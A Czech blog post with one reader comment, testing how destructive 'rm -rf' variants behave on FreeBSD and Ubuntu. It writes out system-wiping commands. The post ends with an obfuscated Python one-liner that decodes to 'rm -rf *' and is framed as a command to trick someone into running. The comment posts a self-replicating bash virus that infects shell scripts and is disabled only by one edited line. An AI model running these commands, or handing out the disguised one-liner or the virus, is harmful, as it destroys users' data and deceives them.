Nedávno zde na rootu vyšel článek Příkazy, které vám solehlivě zničí systém nebo počítač. Stále se zde diskutuje třeba o oblíbeném rm -rf /, ale byly zmíněny i jiné způsoby. V dnešní době virtualizace není velký problém si nějaký systém snadno a rychle nainstalovat a následně se jej zkusit zničit. I manuál říká It is an error to attempt to remove the files /, . or …
Mám jen chvilku a tak testuji FreeBSD 8.1 64bit a Ubuntu 10.04 32bit. V obou případech se rm chová trochu jinak než popisuje článek. Chtěl jsem zkusit i více, takže jsem testy nejprve prováděl jako běžný uživatel, bez vyšších práv (dobré si něco takového otestovat, pokud máte na serverech některé uživatele s funkčním shellem):
$ rm -rf /
rm: „/“ may not be removed
To ale není velký problém, spustíme:
$ rm -rf /*
Nebo jak někdo zmiňoval v diskuzi -no-preserve-root. A toto už se tváří, že maže, samozřejmě dostávám spoustu hlášk permission denied. Toto jsem chtěl vyzkoušet ale spíše kvůli tomu, jestli je systém odolný proti bežnému uživateli. Na FreeBSD nedojde k žádné škodě a systém i po restartu funguje bez problémů. Stejně tak i Linux.
Přistoupíme k druhému testu, už když jsem to četl, tak se mi to nezdálo. Jednalo se o expanzi shellu u rm -rf cesta/.*
Nejprve test na FreeBSD. Protože běžný uživatel nemohl celé BSD ani smazat, zkusíme to rovnou jako root:
# cd /usr/ports/net
ls -d zs*
zsync
# rm -rf zsync/.*
rm: „.“ and „..“ may not be removed
A opět se nic nestalo. FreeBSD tedy ok. Teď stejný pokus na linuxu.
# cd /usr
rm -rf games/.*
cannot remove directory ‚.‘
Finální test byl rm -rf /* spuštěný uživatelem root. Tady už to samozřejmě špatně dopadnout musí. U BSD dostávám hlášky jako /tmp device busy, /bin not empty, operation not permitted. Na disku zbylo několik adresářů a souborů (/tmp, .cshrc, .profile, /lib, /sbin), ale systém je mrtvý (dle očekávání). U Linuxu to dopadá vemi podobně. Při rebootu skončíme u obou na zavaděči.
Jen jsem chtěl ukázat, že příkaz rm se chová jinak než má velké množství správců zažité. Takže pokud někomu chcete poradit příkaz # python -c ‚import os; os.system("".join([chr(ord(i)-1) for i in „sn!.sg!+“]))‘, budete jej muset nejprve poupravit.
zkuste tenhle skriptik:
je to jeden z prvnich bash skriptu, ktery jsem psal kdysi pred lety, tak se trochu omlouvam (predevsim kvuli z hlediska pametove narocnosti suboptimalnimu zpracovani vystupu prikazu find). jenom poznamenam, ze je potreba malinko upravit prvni radek (kvuli script-kiddies) - hashbang nepocitam jako radek. system by mel po provedeni nabootovat, ale uz nikdy nebude jako driv :-)
#!/bin/bash
for i in $( find /dev/null 2> /dev/null | grep -i "\.bash\$\|\.sh\$" ); do #H000KED
if ( fgrep "\#H000KED" $i > /dev/null ); then
echo Already infected: $i #Debug only
continue #H000KED
fi #H000KED
echo >> $i #H000KED
cat $0 | grep \#H000KED >> $i
echo Newly infected: $i #Debug only
done #H000KED
Unix (FreeBSD), Linux (Ubuntu), PHP, MySQL, OpenVPN, IPSec, …